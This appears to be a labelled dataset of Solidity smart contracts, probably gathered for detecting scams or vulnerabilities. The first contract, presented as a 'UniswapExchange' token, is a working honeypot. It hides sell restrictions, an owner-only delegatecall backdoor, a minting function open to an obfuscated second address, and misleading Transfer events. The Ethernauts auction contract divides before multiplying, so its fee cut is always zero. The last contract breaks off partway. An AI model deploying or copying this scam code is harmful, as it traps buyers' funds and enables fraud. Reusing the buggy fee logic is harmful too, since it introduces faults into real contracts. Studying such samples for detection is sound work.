callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 2,246 |
pragma solidity ^0.4.19;
contract ERC721 {
function totalSupply() public view returns (uint256 total);
function balanceOf(address _owner) public view returns (uint256 balance);
function ownerOf(uint256 _tokenId) external view returns (address owner);
function approve(address _to, uint256 _tokenId) external;
function transfer(address _to, uint256 _tokenId) external;
function transferFrom(address _from, address _to, uint256 _tokenId) external;
function takeOwnership(uint256 _tokenId) public;
function implementsERC721() public pure returns (bool);
event Transfer(address from, address to, uint256 tokenId);
event Approval(address owner, address approved, uint256 tokenId);
function supportsInterface(bytes4 _interfaceID) external view returns (bool);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function max(uint256 a, uint256 b) internal pure returns (uint256) {
if (a > b) {
return a;
} else {
return b;
}
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
if (a < b) {
return a;
} else {
return b;
}
}
}
contract ClockAuctionBase {
struct Auction {
address seller;
uint128 startingPrice;
uint128 endingPrice;
uint64 duration;
uint64 startedAt;
}
ERC721 public nonFungibleContract;
uint256 public ownerCut;
mapping (uint256 => Auction) tokenIdToAuction;
event AuctionCreated(uint256 tokenId, uint256 startingPrice, uint256 endingPrice, uint256 duration);
event AuctionSuccessful(uint256 tokenId, uint256 totalPrice, address winner);
event AuctionCancelled(uint256 tokenId);
function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) {
return (nonFungibleContract.ownerOf(_tokenId) == _claimant);
}
function _transfer(address _receiver, uint256 _tokenId) internal {
nonFungibleContract.transfer(_receiver, _tokenId);
}
function _addAuction(uint256 _tokenId, Auction _auction) internal {
require(_auction.duration >= 1 minutes);
tokenIdToAuction[_tokenId] = _auction;
AuctionCreated(
uint256(_tokenId),
uint256(_auction.startingPrice),
uint256(_auction.endingPrice),
uint256(_auction.duration)
);
}
function _cancelAuction(uint256 _tokenId, address _seller) internal {
_removeAuction(_tokenId);
_transfer(_seller, _tokenId);
AuctionCancelled(_tokenId);
}
function _bid(uint256 _tokenId, uint256 _bidAmount)
internal
returns (uint256)
{
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
uint256 price = _currentPrice(auction);
require(_bidAmount >= price);
address seller = auction.seller;
_removeAuction(_tokenId);
if (price > 0) {
uint256 auctioneerCut = _computeCut(price);
uint256 sellerProceeds = price - auctioneerCut;
seller.transfer(sellerProceeds);
}
uint256 bidExcess = _bidAmount - price;
msg.sender.transfer(bidExcess);
AuctionSuccessful(_tokenId, price, msg.sender);
return price;
}
function _removeAuction(uint256 _tokenId) internal {
delete tokenIdToAuction[_tokenId];
}
function _isOnAuction(Auction storage _auction) internal view returns (bool) {
return (_auction.startedAt > 0);
}
function _currentPrice(Auction storage _auction)
internal
view
returns (uint256)
{
uint256 secondsPassed = 0;
if (now > _auction.startedAt) {
secondsPassed = now - _auction.startedAt;
}
return _computeCurrentPrice(
_auction.startingPrice,
_auction.endingPrice,
_auction.duration,
secondsPassed
);
}
function _computeCurrentPrice(
uint256 _startingPrice,
uint256 _endingPrice,
uint256 _duration,
uint256 _secondsPassed
)
internal
pure
returns (uint256)
{
if (_secondsPassed >= _duration) {
return _endingPrice;
} else {
int256 totalPriceChange = int256(_endingPrice) - int256(_startingPrice);
int256 currentPriceChange = totalPriceChange * int256(_secondsPassed) / int256(_duration);
int256 currentPrice = int256(_startingPrice) + currentPriceChange;
return uint256(currentPrice);
}
}
function _computeCut(uint256 _price) internal view returns (uint256) {
return SafeMath.mul(_price, SafeMath.div(ownerCut,10000));
}
}
contract EthernautsBase {
bytes4 constant InterfaceSignature_ERC721 =
bytes4(keccak256('name()')) ^
bytes4(keccak256('symbol()')) ^
bytes4(keccak256('totalSupply()')) ^
bytes4(keccak256('balanceOf(address)')) ^
bytes4(keccak256('ownerOf(uint256)')) ^
bytes4(keccak256('approve(address,uint256)')) ^
bytes4(keccak256('transfer(address,uint256)')) ^
bytes4(keccak256('transferFrom(address,address,uint256)')) ^
bytes4(keccak256('takeOwnership(uint256)')) ^
bytes4(keccak256('tokensOfOwner(address)')) ^
bytes4(keccak256('tokenMetadata(uint256,string)'));
uint8 public constant STATS_SIZE = 10;
uint8 public constant SHIP_SLOTS = 5;
enum AssetState { Available, UpForLease, Used }
enum AssetCategory { NotValid, Sector, Manufacturer, Ship, Object, Factory, CrewMember }
enum ShipStats {Level, Attack, Defense, Speed, Range, Luck}
bytes2 public ATTR_SEEDED = bytes2(2**0);
bytes2 public ATTR_PRODUCIBLE = bytes2(2**1);
bytes2 public ATTR_EXPLORABLE = bytes2(2**2);
bytes2 public ATTR_LEASABLE = bytes2(2**3);
bytes2 public ATTR_PERMANENT = bytes2(2**4);
bytes2 public ATTR_CONSUMABLE = bytes2(2**5);
bytes2 public ATTR_TRADABLE = bytes2(2**6);
bytes2 public ATTR_GOLDENGOOSE = bytes2(2**7);
}
contract EthernautsAccessControl is EthernautsBase {
event ContractUpgrade(address newContract);
address public ceoAddress;
address public ctoAddress;
address public cooAddress;
address public oracleAddress;
bool public paused = false;
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
modifier onlyCTO() {
require(msg.sender == ctoAddress);
_;
}
modifier onlyOracle() {
require(msg.sender == oracleAddress);
_;
}
modifier onlyCLevel() {
require(
msg.sender == ceoAddress ||
msg.sender == ctoAddress ||
msg.sender == cooAddress
);
_;
}
function setCEO(address _newCEO) external onlyCEO {
require(_newCEO != address(0));
ceoAddress = _newCEO;
}
function setCTO(address _newCTO) external {
require(
msg.sender == ceoAddress ||
msg.sender == ctoAddress
);
require(_newCTO != address(0));
ctoAddress = _newCTO;
}
function setCOO(address _newCOO) external {
require(
msg.sender == ceoAddress ||
msg.sender == cooAddress
);
require(_newCOO != address(0));
cooAddress = _newCOO;
}
function setOracle(address _newOracle) external {
require(msg.sender == ctoAddress);
require(_newOracle != address(0));
oracleAddress = _newOracle;
}
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function pause() external onlyCLevel whenNotPaused {
paused = true;
}
function unpause() public onlyCEO whenPaused {
paused = false;
}
}
contract EthernautsStorage is EthernautsAccessControl {
function EthernautsStorage() public {
ceoAddress = msg.sender;
ctoAddress = msg.sender;
cooAddress = msg.sender;
oracleAddress = msg.sender;
}
function() external payable {
require(msg.sender == address(this));
}
mapping (address => bool) public contractsGrantedAccess;
function grantAccess(address _v2Address) public onlyCTO {
contractsGrantedAccess[_v2Address] = true;
}
function removeAccess(address _v2Address) public onlyCTO {
delete contractsGrantedAccess[_v2Address];
}
modifier onlyGrantedContracts() {
require(contractsGrantedAccess[msg.sender] == true);
_;
}
modifier validAsset(uint256 _tokenId) {
require(assets[_tokenId].ID > 0);
_;
}
struct Asset {
uint16 ID;
uint8 category;
uint8 state;
bytes2 attributes;
uint64 createdAt;
uint64 cooldownEndBlock;
uint8[STATS_SIZE] stats;
uint256 cooldown;
uint256 builtBy;
}
bool public isEthernautsStorage = true;
Asset[] public assets;
mapping (uint256 => uint256) internal assetIndexToPrice;
mapping (uint256 => address) internal assetIndexToOwner;
mapping (address => uint256) internal ownershipTokenCount;
mapping (uint256 => address) internal assetIndexToApproved;
function setPrice(uint256 _tokenId, uint256 _price) public onlyGrantedContracts {
assetIndexToPrice[_tokenId] = _price;
}
function approve(uint256 _tokenId, address _approved) public onlyGrantedContracts {
assetIndexToApproved[_tokenId] = _approved;
}
function transfer(address _from, address _to, uint256 _tokenId) public onlyGrantedContracts {
ownershipTokenCount[_to]++;
assetIndexToOwner[_tokenId] = _to;
if (_from != address(0)) {
ownershipTokenCount[_from]--;
delete assetIndexToApproved[_tokenId];
}
}
function createAsset(
uint256 _creatorTokenID,
address _owner,
uint256 _price,
uint16 _ID,
uint8 _category,
uint8 _state,
uint8 _attributes,
uint8[STATS_SIZE] _stats,
uint256 _cooldown,
uint64 _cooldownEndBlock
)
public onlyGrantedContracts
returns (uint256)
{
require(_ID > 0);
require(_category > 0);
require(_attributes != 0x0);
require(_stats.length > 0);
Asset memory asset = Asset({
ID: _ID,
category: _category,
builtBy: _creatorTokenID,
attributes: bytes2(_attributes),
stats: _stats,
state: _state,
createdAt: uint64(now),
cooldownEndBlock: _cooldownEndBlock,
cooldown: _cooldown
});
uint256 newAssetUniqueId = assets.push(asset) - 1;
require(newAssetUniqueId == uint256(uint32(newAssetUniqueId)));
assetIndexToPrice[newAssetUniqueId] = _price;
transfer(address(0), _owner, newAssetUniqueId);
return newAssetUniqueId;
}
function editAsset(
uint256 _tokenId,
uint256 _creatorTokenID,
uint256 _price,
uint16 _ID,
uint8 _category,
uint8 _state,
uint8 _attributes,
uint8[STATS_SIZE] _stats,
uint16 _cooldown
)
external validAsset(_tokenId) onlyCLevel
returns (uint256)
{
require(_ID > 0);
require(_category > 0);
require(_attributes != 0x0);
require(_stats.length > 0);
assetIndexToPrice[_tokenId] = _price;
Asset storage asset = assets[_tokenId];
asset.ID = _ID;
asset.category = _category;
asset.builtBy = _creatorTokenID;
asset.attributes = bytes2(_attributes);
asset.stats = _stats;
asset.state = _state;
asset.cooldown = _cooldown;
}
function updateStats(uint256 _tokenId, uint8[STATS_SIZE] _stats) public validAsset(_tokenId) onlyGrantedContracts {
assets[_tokenId].stats = _stats;
}
function updateState(uint256 _tokenId, uint8 _state) public validAsset(_tokenId) onlyGrantedContracts {
assets[_tokenId].state = _state;
}
function setAssetCooldown(uint256 _tokenId, uint256 _cooldown, uint64 _cooldownEndBlock)
public validAsset(_tokenId) onlyGrantedContracts {
assets[_tokenId].cooldown = _cooldown;
assets[_tokenId].cooldownEndBlock = _cooldownEndBlock;
}
function getStats(uint256 _tokenId) public view returns (uint8[STATS_SIZE]) {
return assets[_tokenId].stats;
}
function priceOf(uint256 _tokenId) public view returns (uint256 price) {
return assetIndexToPrice[_tokenId];
}
function hasAllAttrs(uint256 _tokenId, bytes2 _attributes) public view returns (bool) {
return assets[_tokenId].attributes & _attributes == _attributes;
}
function hasAnyAttrs(uint256 _tokenId, bytes2 _attributes) public view returns (bool) {
return assets[_tokenId].attributes & _attributes != 0x0;
}
function isCategory(uint256 _tokenId, uint8 _category) public view returns (bool) {
return assets[_tokenId].category == _category;
}
function isState(uint256 _tokenId, uint8 _state) public view returns (bool) {
return assets[_tokenId].state == _state;
}
function ownerOf(uint256 _tokenId) public view returns (address owner)
{
return assetIndexToOwner[_tokenId];
}
function balanceOf(address _owner) public view returns (uint256 count) {
return ownershipTokenCount[_owner];
}
function approvedFor(uint256 _tokenId) public view onlyGrantedContracts returns (address) {
return assetIndexToApproved[_tokenId];
}
function totalSupply() public view returns (uint256) {
return assets.length;
}
function getTokenList(address _owner, uint8 _withAttributes, uint256 start, uint256 count) external view returns(
uint256[6][]
) {
uint256 totalAssets = assets.length;
if (totalAssets == 0) {
return new uint256[6][](0);
} else {
uint256[6][] memory result = new uint256[6][](totalAssets > count ? count : totalAssets);
uint256 resultIndex = 0;
bytes2 hasAttributes = bytes2(_withAttributes);
Asset memory asset;
for (uint256 tokenId = start; tokenId < totalAssets && resultIndex < count; tokenId++) {
asset = assets[tokenId];
if (
(asset.state != uint8(AssetState.Used)) &&
(assetIndexToOwner[tokenId] == _owner || _owner == address(0)) &&
(asset.attributes & hasAttributes == hasAttributes)
) {
result[resultIndex][0] = tokenId;
result[resultIndex][1] = asset.ID;
result[resultIndex][2] = asset.category;
result[resultIndex][3] = uint256(asset.attributes);
result[resultIndex][4] = asset.cooldown;
result[resultIndex][5] = assetIndexToPrice[tokenId];
resultIndex++;
}
}
return result;
}
}
}
contract EthernautsOwnership is EthernautsAccessControl, ERC721 {
EthernautsStorage public ethernautsStorage;
string public constant name = "Ethernauts";
string public constant symbol = "ETNT";
bytes4 constant InterfaceSignature_ERC165 = bytes4(keccak256('supportsInterface(bytes4)'));
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed owner, address indexed approved, uint256 tokens);
event Build(address owner, uint256 tokenId, uint16 assetId, uint256 price);
function implementsERC721() public pure returns (bool) {
return true;
}
function supportsInterface(bytes4 _interfaceID) external view returns (bool)
{
return ((_interfaceID == InterfaceSignature_ERC165) || (_interfaceID == InterfaceSignature_ERC721));
}
function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) {
return ethernautsStorage.ownerOf(_tokenId) == _claimant;
}
function _approvedFor(address _claimant, uint256 _tokenId) internal view returns (bool) {
return ethernautsStorage.approvedFor(_tokenId) == _claimant;
}
function _approve(uint256 _tokenId, address _approved) internal {
ethernautsStorage.approve(_tokenId, _approved);
}
function balanceOf(address _owner) public view returns (uint256 count) {
return ethernautsStorage.balanceOf(_owner);
}
function transfer(
address _to,
uint256 _tokenId
)
external
whenNotPaused
{
require(_to != address(0));
require(_to != address(this));
require(_to != address(ethernautsStorage));
require(_owns(msg.sender, _tokenId));
ethernautsStorage.transfer(msg.sender, _to, _tokenId);
}
function approve(
address _to,
uint256 _tokenId
)
external
whenNotPaused
{
require(_owns(msg.sender, _tokenId));
_approve(_tokenId, _to);
Approval(msg.sender, _to, _tokenId);
}
function _transferFrom(
address _from,
address _to,
uint256 _tokenId
)
internal
{
require(_to != address(0));
require(_owns(_from, _tokenId));
require(_approvedFor(_to, _tokenId));
ethernautsStorage.transfer(_from, _to, _tokenId);
}
function transferFrom(
address _from,
address _to,
uint256 _tokenId
)
external
whenNotPaused
{
_transferFrom(_from, _to, _tokenId);
}
function takeOwnership(uint256 _tokenId) public {
address _from = ethernautsStorage.ownerOf(_tokenId);
require(_from != address(0));
_transferFrom(_from, msg.sender, _tokenId);
}
function totalSupply() public view returns (uint256) {
return ethernautsStorage.totalSupply();
}
function ownerOf(uint256 _tokenId)
external
view
returns (address owner)
{
owner = ethernautsStorage.ownerOf(_tokenId);
require(owner != address(0));
}
function createNewAsset(
uint256 _creatorTokenID,
uint256 _price,
uint16 _assetID,
uint8 _category,
uint8 _attributes,
uint8[STATS_SIZE] _stats
)
external onlyCLevel
returns (uint256)
{
require(msg.sender != address(0));
uint256 tokenID = ethernautsStorage.createAsset(
_creatorTokenID,
msg.sender,
_price,
_assetID,
_category,
uint8(AssetState.Available),
_attributes,
_stats,
0,
0
);
Build(
msg.sender,
tokenID,
_assetID,
_price
);
return tokenID;
}
function isExploring(uint256 _tokenId) public view returns (bool) {
uint256 cooldown;
uint64 cooldownEndBlock;
(,,,,,cooldownEndBlock, cooldown,) = ethernautsStorage.assets(_tokenId);
return (cooldown > now) || (cooldownEndBlock > uint64(block.number));
}
}
contract EthernautsLogic is EthernautsOwnership {
address public newContractAddress;
function EthernautsLogic() public {
ceoAddress = msg.sender;
ctoAddress = msg.sender;
cooAddress = msg.sender;
oracleAddress = msg.sender;
paused = true;
}
function setNewAddress(address _v2Address) external onlyCTO whenPaused {
newContractAddress = _v2Address;
ContractUpgrade(_v2Address);
}
function setEthernautsStorageContract(address _CStorageAddress) public onlyCLevel whenPaused {
EthernautsStorage candidateContract = EthernautsStorage(_CStorageAddress);
require(candidateContract.isEthernautsStorage());
ethernautsStorage = candidateContract;
}
function unpause() public onlyCEO whenPaused {
require(ethernautsStorage != address(0));
require(newContractAddress == address(0));
require(ethernautsStorage.contractsGrantedAccess(address(this)) == true);
super.unpause();
}
function withdrawBalances(address _to) public onlyCLevel {
_to.transfer(this.balance);
}
function getBalance() public view onlyCLevel returns (uint256) {
return this.balance;
}
}
contract EthernautsMarket is EthernautsLogic, ClockAuctionBase {
function EthernautsMarket(uint256 _cut) public
EthernautsLogic() {
require(_cut <= 10000);
ownerCut = _cut;
nonFungibleContract = this;
}
event Purchase(uint256 indexed tokenId, uint256 oldPrice, uint256 newPrice, address indexed prevOwner, address indexed winner);
uint8 private percentageFee1Step = 95;
uint8 private percentageFee2Step = 95;
uint8 private percentageFeeSteps = 98;
uint8 private percentageBase = 100;
uint8 private percentage1Step = 200;
uint8 private percentage2Step = 125;
uint8 private percentageSteps = 115;
uint256 private firstStepLimit = 0.05 ether;
uint256 private secondStepLimit = 5 ether;
function bid(uint256 _tokenId)
external
payable
whenNotPaused
{
uint256 newPrice = _bid(_tokenId, msg.value);
_transfer(msg.sender, _tokenId);
ethernautsStorage.setPrice(_tokenId, newPrice);
}
function cancelAuction(uint256 _tokenId)
external
{
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
address seller = auction.seller;
require(msg.sender == seller);
_cancelAuction(_tokenId, seller);
}
function cancelAuctionWhenPaused(uint256 _tokenId)
whenPaused
onlyCLevel
external
{
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
_cancelAuction(_tokenId, auction.seller);
}
function getAuction(uint256 _tokenId)
external
view
returns
(
address seller,
uint256 startingPrice,
uint256 endingPrice,
uint256 duration,
uint256 startedAt
) {
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
return (
auction.seller,
auction.startingPrice,
auction.endingPrice,
auction.duration,
auction.startedAt
);
}
function getCurrentPrice(uint256 _tokenId)
external
view
returns (uint256)
{
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
return _currentPrice(auction);
}
function createSaleAuction(
uint256 _tokenId,
uint256 _startingPrice,
uint256 _endingPrice,
uint256 _duration
)
external
whenNotPaused
{
require(_startingPrice == uint256(uint128(_startingPrice)));
require(_endingPrice == uint256(uint128(_endingPrice)));
require(_duration == uint256(uint64(_duration)));
require(_owns(msg.sender, _tokenId));
require(ethernautsStorage.hasAllAttrs(_tokenId, ATTR_TRADABLE));
require(!ethernautsStorage.hasAllAttrs(_tokenId, ATTR_GOLDENGOOSE));
require(ethernautsStorage.isState(_tokenId, uint8(AssetState.Available)));
require(!isExploring(_tokenId));
ethernautsStorage.approve(_tokenId, address(this));
_transferFrom(msg.sender, this, _tokenId);
Auction memory auction = Auction(
msg.sender,
uint128(_startingPrice),
uint128(_endingPrice),
uint64(_duration),
uint64(now)
);
_addAuction(_tokenId, auction);
}
function setOwnerCut(uint256 _ownerCut) public onlyCLevel {
ownerCut = _ownerCut;
}
function purchase(uint256 _tokenId) external payable whenNotPaused {
require(ethernautsStorage.hasAnyAttrs(_tokenId, ATTR_GOLDENGOOSE));
require(!isExploring(_tokenId));
address oldOwner = ethernautsStorage.ownerOf(_tokenId);
address newOwner = msg.sender;
uint256 sellingPrice = ethernautsStorage.priceOf(_tokenId);
require(oldOwner != newOwner);
require(newOwner != address(0));
require(msg.value >= sellingPrice);
uint256 payment = uint256(SafeMath.div(SafeMath.mul(sellingPrice, percentageFee1Step), 100));
uint256 purchaseExcess = SafeMath.sub(msg.value, sellingPrice);
uint256 newPrice = sellingPrice;
if (sellingPrice < firstStepLimit) {
newPrice = SafeMath.div(SafeMath.mul(sellingPrice, percentage1Step), percentageBase);
} else if (sellingPrice < secondStepLimit) {
payment = uint256(SafeMath.div(SafeMath.mul(sellingPrice, percentageFee2Step), 100));
newPrice = SafeMath.div(SafeMath.mul(sellingPrice, percentage2Step), percentageBase);
} else {
payment = uint256(SafeMath.div(SafeMath.mul(sellingPrice, percentageFeeSteps), 100));
newPrice = SafeMath.div(SafeMath.mul(sellingPrice, percentageSteps), percentageBase);
}
if (oldOwner != address(this)) {
oldOwner.transfer(payment);
}
ethernautsStorage.transfer(oldOwner, newOwner, _tokenId);
ethernautsStorage.setPrice(_tokenId, newPrice);
Purchase(_tokenId, sellingPrice, newPrice, oldOwner, newOwner);
msg.sender.transfer(purchaseExcess);
}
function setStepLimits(
uint256 _firstStepLimit,
uint256 _secondStepLimit
) public onlyCLevel {
firstStepLimit = _firstStepLimit;
secondStepLimit = _secondStepLimit;
}
function setPercentages(
uint8 _Fee1,
uint8 _Fee2,
uint8 _Fees,
uint8 _1Step,
uint8 _2Step,
uint8 _Steps
) public onlyCLevel {
percentageFee1Step = _Fee1;
percentageFee2Step = _Fee2;
percentageFeeSteps = _Fees;
percentage1Step = _1Step;
percentage2Step = _2Step;
percentageSteps = _Steps;
}
} | 1 | 3,276 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
